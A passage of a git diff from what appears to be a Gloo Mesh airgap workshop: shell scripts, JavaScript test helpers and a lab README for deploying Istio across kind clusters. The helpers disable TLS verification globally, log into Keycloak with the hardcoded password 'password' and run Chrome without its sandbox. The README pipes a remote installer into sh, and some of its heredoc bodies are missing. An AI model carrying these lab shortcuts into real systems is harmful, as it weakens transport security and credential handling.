"$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/snapdiff.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-5/airgap/standalone/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-exec.js b/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-http.js b/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak-token.js b/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak.js b/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/tests/utils.js b/gloo-mesh/gateway/2-5/airgap/standalone/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/default/README.md b/gloo-mesh/gateway/2-5/default/README.md index 298a270a47..ba397795bd 100644 --- a/gloo-mesh/gateway/2-5/default/README.md +++ b/gloo-mesh/gateway/2-5/default/README.md @@ -1126,7 +1126,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Platform (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy KinD clusters](#lab-1---deploy-kind-clusters-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Expose an external service](#lab-12---expose-an-external-service-) +* [Lab 13 - Deploy Keycloak](#lab-13---deploy-keycloak-) +* [Lab 14 - Securing the access with OAuth](#lab-14---securing-the-access-with-oauth-) +* [Lab 15 - Use the transformation filter to manipulate headers](#lab-15---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 16 - Use the DLP policy to mask sensitive data](#lab-16---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 17 - Apply rate limiting to the Gateway](#lab-17---apply-rate-limiting-to-the-gateway-) +* [Lab 18 - Use the Web Application Firewall filter](#lab-18---use-the-web-application-firewall-filter-) +* [Lab 19 - Adding services to the mesh](#lab-19---adding-services-to-the-mesh-) +* [Lab 20 - Traffic policies](#lab-20---traffic-policies-) +* [Lab 21 - Create the Root Trust Policy](#lab-21---create-the-root-trust-policy-) +* [Lab 22 - Leverage Virtual Destinations for east west communications](#lab-22---leverage-virtual-destinations-for-east-west-communications-) +* [Lab 23 - Zero trust](#lab-23---zero-trust-) +* [Lab 24 - Securing the egress traffic](#lab-24---securing-the-egress-traffic-) +* [Lab 25 - VM integration with Spire](#lab-25---vm-integration-with-spire-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy KinD clusters + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=mgmt +export CLUSTER1=cluster1 +export CLUSTER2=cluster2 +``` + +Run the following commands to deploy three Kubernetes clusters using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy-multi-with-calico.sh 1 mgmt +./scripts/deploy-multi-with-calico.sh 2 cluster1 us-west us-west-1 +./scripts/deploy-multi-with-calico.sh 3 cluster2 us-west us-west-2 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh mgmt +./scripts/check.sh cluster1 +./scripts/check.sh cluster2 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + +You can see that your currently connected to this cluster by executing the `kubectl config get-contexts` command: + +``` +CURRENT NAME CLUSTER AUTHINFO NAMESPACE + cluster1 kind-cluster1 cluster1 +* cluster2 kind-cluster2 cluster2 + mgmt kind-mgmt kind-mgmt +``` + +Run the following command to make `mgmt` the current cluster. + +```bash +kubectl config use-context ${MGMT} +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.51.4 +gcr.io/gloo-mesh/gloo-mesh-agent:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-ui:2.4.7 +gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 +gcr.io/gloo-mesh/rate-limiter:0.10.3 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/install-cni:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + +Then, you need to set the environment variable to tell the Gloo Mesh agents how to communicate with the management plane: + + + +```bash +export ENDPOINT_GLOO_MESH=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-mgmt-server -o jsonpath='{.status.loadBalancer.ingress[0].*}'):9900 +export HOST_GLOO_MESH=$(echo ${ENDPOINT_GLOO_MESH%:*}) +export ENDPOINT_TELEMETRY_GATEWAY=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-telemetry-gateway -o jsonpath='{.status.loadBalancer.ingress[0].*}'):4317 +export ENDPOINT_GLOO_MESH_UI=$(kubectl --context ${MGMT} -n gloo-mesh get svc gloo-mesh-ui -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8090 +``` + +Check that the variables have correct values: +``` +echo $HOST_GLOO_MESH +echo $ENDPOINT_GLOO_MESH +``` + + +Finally, you need to register the cluster(s). + +Here is how you register the first one: + +```bash +kubectl apply --context ${MGMT} -f - < ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER1} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER1} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ca.crt +kubectl create secret generic relay-root-tls-secret -n gloo-mesh --context ${CLUSTER2} --from-file ca.crt=ca.crt +rm ca.crt + +kubectl get secret relay-identity-token-secret -n gloo-mesh --context ${MGMT} -o jsonpath='{.data.token}' | base64 -d > token +kubectl create secret generic relay-identity-token-secret -n gloo-mesh --context ${CLUSTER2} --from-file token=token +rm token + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.4.7 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.4.7 \ + -f -< ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Cluster registration", () => { + it("cluster1 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster1"); + }); + it("cluster2 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster2"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-and-register-gloo-mesh/tests/cluster-registration.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +export HOST_GW_CLUSTER2="$(kubectl --context ${CLUSTER2} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + +Now, run the following commands to deploy the bookinfo application on `cluster2`: + +```bash +kubectl --context ${CLUSTER2} create ns bookinfo-frontends +kubectl --context ${CLUSTER2} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions +kubectl --context ${CLUSTER2} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + -f data/steps/deploy-bookinfo/reviews-v3.yaml +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v3 CLUSTER_NAME=${CLUSTER2} + +``` + + + +Confirm that `v1`, `v2` and `v3` of the `reviews` service are now running in the second cluster: + +```bash +kubectl --context ${CLUSTER2} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER2} -n bookinfo-backends get pods +``` + +As you can see, we deployed all three versions of the `reviews` microservice on this cluster. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER2} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER2} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = 